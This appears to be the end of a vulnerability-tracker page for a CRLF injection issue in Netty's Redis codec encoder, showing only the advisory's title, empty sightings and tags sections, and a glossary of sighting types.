  ],
  "summary": "Netty Redis Codec Encoder has a CRLF Injection Issue"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.